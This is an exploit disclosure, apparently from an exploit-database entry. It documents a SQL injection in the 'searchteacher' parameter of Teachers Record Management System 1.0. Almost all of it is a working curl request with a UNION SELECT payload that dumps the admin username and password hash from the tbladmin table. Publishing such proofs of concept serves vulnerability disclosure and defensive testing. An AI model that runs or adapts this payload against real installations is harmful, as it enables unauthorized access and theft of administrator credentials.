# Exploit Title: Teachers Record Management System 1.0 - 'searchteacher' SQL Injection
# Date: 13/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14399/teacher-record-system-phpmysql.html
# Version:1.0
# Tested on: latest version of Chrome, Firefox on Windows and Linux

--------------------------Proof of Concept-----------------------

1. Navigate to http://host/trms/
2. The "searchteacher" parameter in search-teacher.php is vulnerable to SQL
injection
3. Below curl request will display the admin username and password hash

------------------------Exploit request-----------------------------

curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.1.13' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0' -H $'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
-H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'
-H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:
130' -H $'Origin: http://192.168.1.17' -H $'DNT: 1' -H $'Connection: close'
-H $'Referer: http://192.168.1.13/trms/' -H $'Cookie:
PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'PHPSESSID=t2lshgnjhov62o1s0q0iq331p9' \
    --data-binary
$'searchteacher=Arts\'+union+select+1,concat(\'Username:\',UserName),3,concat(\'Password:\',Password),5,6,7,8,9,10+from+tbladmin#&search='
\
    $'http://host/trms/search-teacher.php'